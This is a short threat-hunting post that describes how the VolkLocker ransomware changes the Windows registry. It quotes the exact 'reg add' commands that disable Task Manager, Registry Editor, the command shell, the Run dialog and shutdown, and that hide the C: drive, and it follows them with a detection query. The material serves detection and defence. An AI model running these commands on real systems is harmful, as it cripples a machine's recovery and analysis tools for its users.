347. Adversaries Modify Registry to Inhibit System Recovery and Analysis

Hello everyone!

We talked about Modify Registry (T1112) a few times already, but I spotted a few more interesting procedures, so let's have a look.

Our example for today is VolkLocker. It has a few interesting behaviors related to registry modification.

It disables Task Manager:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f

reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f

Disables Registry Editor:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f

reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f

Disables Windows Command Shell:

reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f

Removes Run dialog:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f

Removes Shut Down, Restart, Sleep options:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f

Hides C:\ drive:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 4

As you can see, we have lots of detection opportunities. For example:

event_type: "registryvaluesetwin"

AND

reg_key_path: ("DisableTaskMgr" OR "DisableRegistryTools" OR "DisableCMD" OR "NoRun" OR "NoClose" OR "NoDrives")

See you tomorrow!

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